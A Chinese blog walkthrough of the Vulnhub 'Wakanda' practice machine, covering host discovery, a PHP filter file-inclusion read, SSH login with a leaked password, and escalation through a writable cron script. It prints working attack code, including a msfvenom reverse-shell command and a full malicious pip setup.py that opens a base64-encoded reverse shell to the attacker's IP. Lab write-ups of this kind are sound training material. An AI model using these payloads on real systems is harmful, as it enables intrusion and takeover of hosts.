渗透靶机之Wakanda

wakanda简介:Wakanda是一个新的交易市场网站,很快会上线了。你的目标是通过黑客技术找到“振金”的确切位置。本vulnhub靶机环境由xMagass开发,并托管于Vulnhub,这台靶机上包含了很多很酷的技巧。在官网可以下载,有需要的小伙伴可以私聊我拿ova.

将wakanda.ova放进vmbox里面,要是vmware能放也可以放进去,不过vmbox可以直接加载ova不叫方便所以说我们你在这里就使用vmbox,然后将靶机和攻击机的连接模式全部变成桥接网卡,两个都要桥接到同一网卡上.然后就开始渗透,一步一步走,遇到什么问题就解决什么问题,不再一一叙述.

攻击机ip:192.168.1.6/靶机ip:192.168.1.7

把设备调整好之后我们打开kali,用netdiscover来扫描同一网段内存活的主机,要先找出靶机才能渗透对吧.

  • netdiscover -r 192.168.1.0/24用来扫描指定网段
  • netdiscover -i eth0用来扫描网卡网段的存活主机

用netdiscover已经扫出我们的靶机了,如果不知道自己靶机是哪个,可以用arp-scan -l来扫一波,一般vulhub的靶机网卡地址都是CADMUS COMPUTER SYSTEMS,所以可以由此判断哪一个是你的靶机了

拿到靶机地址之后下一步就是嗅探它开放了什么端口;使用nmap,当然命令可以是nmap -sV,也可以是nmap -sS,前者是探测端口服务版本,也能扫到开放的端口,后者是半开放扫描,用这个命令扫描,很少部分的系统可以将记录记录到系统日志,但是需要root权限;我们发现靶机开放了80端口,一个web端口,还有一个就是3333,3333运行的是ssh服务.

既然知道了它开放端口,那我们就打开网页去查看它黑色界面嗯…还挺酷炫的欸,但是这页面什么也没有,按钮按了没反应;二话不说,直接用dirb暴力扫描目录

扫描之后发现size都是0,大小都是0,说明里面的页面啥都没有,好奇心驱使我就进去看了看,emmmm果然什么都没有哇.既然没结果那iu换另一个思路了,看源码

看到一串绿绿的东西,这个应该就是突破口了<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.?lang=php://filter/convert.base64-encode/resource=index得到一串神秘的base64,直接丢去解码,得到源代码,并且得到了一个password!

<?php$password ="Niamey4Ever227!!!" ;//I have to remember itif (isset($_GET['lang'])){include($_GET['lang'].".php");}?<!DOCTYPE html><html lang="en"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Vibranium market">
<meta name="author" content="mamadou"><title>Vibranium Market</title><link href="bootstrap.css" rel="stylesheet"><link href="cover.css" rel="stylesheet">
</head><body class="text-center"><div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"><header class="masthead mb-auto"><div class="inner"><h3 class="masthead-brand">Vibranium Market</h3><nav class="nav nav-masthead justify-content-center"><a class="nav-link active" href="#">Home</a><!-- <a class="nav-link active" href="?lang=fr">Fr/a> --></nav></div></header><main role="main" class="inner cover"><h1 class="cover-heading">Coming soon</h1><p class="lead"><?phpif (isset($_GET['lang'])){echo $message;}else{?>Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!<?php}?></p><p class="lead"><a href="#" class="btn btn-lg btn-secondary">Learn more</a></p></main><footer class="mastfoot mt-auto"><div class="inner"><p>Made by<a href="#">@mamadou</a></p></div></footer>
</div>
</body></html>

得到password之后想想应该是要登陆哪个地方才对,所以想到了开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,不出意外就是这个了.

Niamey4Ever227!!!为密码,mamadou为用户名,直接连接ssh连接(感叹号也是密码的一部分)

正常操作来说,ssh连接以后就是直接ls遍历出文件然后cat flag,但是这里用了ls之后发现没用,因为使用shell的不是/bin/bash,而是python,所以要用python的pty把完全交换式的终端切换出来

import pty

pty.spawn("/bin/bash")

切换到bash下后,就直接ls,cat flag即可得到第一个flag咯

接下来就是要找到第二个flag,既然都已经到靶机的部分了,那说明flag2也在靶机里,所以我们打算往前翻,果不其然看到了flag2,但是cat却失败了,原因是没有权限.

sudo -l命令来证实了当前mamadou用户并没有sudo权限既然这样我们可以查看别的用户然后利用他们的权限来达到我们的目的cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash

最后一行显示了存在一个devops用户,flag2也是处于devops用户权限才能cat的,但是devops用户我们没有密码也不能切换,所以还要想其他办法;那就先翻看tmp目录吧,因为里面的文件大多为临时文件

mamadou@Wakanda1:/$ cd /tmp
mamadou@Wakanda1:/tmp$ ls
test
mamadou@Wakanda1:/tmp$

发现了一个test文件,而且也是刚创建不久的,通过查看靶机的时间就只都刚创建不久这么这么看来,一定是靶机上有某些程序正在运行而且是定时运行生成这么一个test,既然存在脚本,那先想到的是srv/文件目录下,这个srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件

mamadou@Wakanda1:/srv$ ls -la
total 12
drwxr-xr-x  2 root   root  4096 Aug  1  2018 .
drwxr-xr-x 22 root   root  4096 Aug  1  2018 ..
-rw-r--rw-  1 devops developer   36 Aug  1  2018 .antivirus.py

antivirus.py文件是一个py简本,拥有者是devops,但是所有人都可以对他读写,所以修改脚本向脚本添加反向shell.有两种反向获取shell的方法,第一种是用msfvenom payload生成shell,原来脚本的代码注释或者删除,编辑好之后保存推出,打开另一个终端监听4444端口.代码如下:

msfvenom -p cmd/unix/reverse_python lhost=192.168.1.6 lport=4444 R

nc -lvp 4444

之后就是简单的cat flag啦

最后一步就是提权了,利用一个github上的开源脚本,这个脚本是利用了pip在重新安装的时候执行setup.py中插入shellcode,可以通过pip反弹shell给攻击机,先创建一个文件家,然后将这个jio本下载在文件夹内,代码如下:

wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py

下载好之后要更改jio本里的东西,有一个地方打了注释,在注释的地方写上攻击机的ip,比如我的kali是192.168.1.6,可以直接vi setup.py,也可以用文本打开然后修改保存都可以.

from setuptools import setup
from setuptools.command.install import install
import base64
import osclass CustomInstall(install):def run(self):
install.run(self)
RHOST = '192.168.1.6'  # change thisreverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)setup(name='FakePip',version='0.0.1',description='This will exploit a sudoer able to /usr/bin/pip install *',url='https://github.com/0x00-0x00/fakepip',author='zc00l',author_email='andre.marques@esecurity.com.br',license='MIT',zip_safe=False,cmdclass={'install': CustomInstall})

修改好之后直接在当前路径下搭建一个HTTP建议服务器 python -m SimpleHTTPServer 80

回到靶机上,同样的创建文件夹然后把jio本下载下来,通过靶机下载这个pyjio本 wget http://192.168.1.6:80/setup.py

同时攻击机开始监听443端口nc -lvvp 443,另一边在靶机上重装pip,这时攻击机上就成功获取到shell

接下来解是把第三个flag拿到就结束啦,一面小旗奖励努力着的你

总结

nmap:nmap是一个扫描能力极强的工具,端口,存活主机都可以用nmap做到,学到了-sS,-sV等命令使用,在渗透靶机的前部分起着很大作用

netdiscover:这也是一个扫描网段存活主机的工具,方便的是可以直接扫描你的网卡的网段中存活的主机,配上nmap使用是个不错的搭配

ssh:进一步增加了对ssh连接的理解与使用

python部分:get到了一个用py构造完全交换式终端

ipmort pty

pty.spwan("/bin/bash")

linux:查看用户组cat /ect/passwd,还有ls -la等命令

shell:在shell这块学到了两个反弹shel,第一个是使用msfvenom payload生成shell msfvenom -p cmd/unix/reverse_python lhost=攻击机地址 lport=端口 R,生成的代码都是经过base64加密的;第二个是通过pip重新安装时执行setup.py,将setup.py中的内容替换成shellcode,在安装前监听正确的端口然后就执行安装就可以反弹shell

感想:这是小白的我第一次渗透一个靶机,有网上大佬论坛的帮助,也有自己积累下来的知识,一次渗透学到的东西非常多,从探嗅目标,一步步知道最后拿到三个flag,所使用的工具技巧方法都有了一个新的认识.

执行setup.py,将setup.py中的内容替换成shellcode,在安装前监听正确的端口然后就执行安装就可以反弹shell

感想:这是小白的我第一次渗透一个靶机,有网上大佬论坛的帮助,也有自己积累下来的知识,一次渗透学到的东西非常多,从探嗅目标,一步步知道最后拿到三个flag,所使用的工具技巧方法都有了一个新的认识.

靶机渗透之Wakanda相关推荐

  1. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  2. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  3. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  4. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  5. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  6. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  7. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

  8. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  9. bulldog2 靶机渗透

    bulldog2 靶机渗透 1.先做主机发现 2.查看目标靶机开通的服务,发现目标靶机只开通了80端口 3.使用http服务登录主页 4.发现网站关闭了注册功能 5.发现用户遍历漏洞 6.查看下载好的 ...

最新文章

  1. 鼠标事件php,事件类型——鼠标事件(示例代码)
  2. 当maven说“直到MyRepo的更新间隔过去时,才会重新尝试解析”,该间隔在哪里指定?
  3. RAID 0、1、5、1+0总结
  4. asp.net webapi 自定义身份验证
  5. python空格怎么加密_使用Python的RSA加密
  6. c#重写了窗体的OnKeyDown事件,但是不执行
  7. 算法设计TSP问题动态规划
  8. 上海药物所揭示KRAS突变肿瘤的分子分型和精准治疗新策略
  9. MySQLzip压缩文件格式安装教程
  10. WinCC V7.5安装过程截图
  11. JavaScript错误信息
  12. java vo转map_Java后端必备的开发规范
  13. paip.python php的未来预测以及它们的比较优缺点
  14. 析构函数定义为虚函数原因
  15. 二级计算机vf题型,计算机二级VF考试常见题型与解题技巧
  16. 智课雅思词汇---二十四、名词性后缀ary(也是形容词后缀)
  17. 课设-基于51单片机的智能小车(循迹+避障+APP控制)
  18. 统计局解读1月制造业采购经理指数:服务业回升明显
  19. java DTO对象与PO对象的相互转换
  20. Python | 使用Python爬取Wallhaven网站壁纸并上传百度网盘

热门文章

  1. 三顾茅庐,四面阿里,28k*15offer,分享我的大厂面经
  2. C++保存与读取matlab的mat文件
  3. Linux系统忘记密码解决办法
  4. 推荐系统 --- 推荐算法 --- 其他
  5. 机器视觉系统硬件选型
  6. chrome vue 未响应_vue兼容低版本chrome
  7. 水晶报表填充.Net Objects数据源
  8. 【数据库MySQL】数据库网上书店管理系统
  9. DNS的常用记录详解
  10. IOS性能调优系列:使用Zombies动态分析内存中的僵尸对象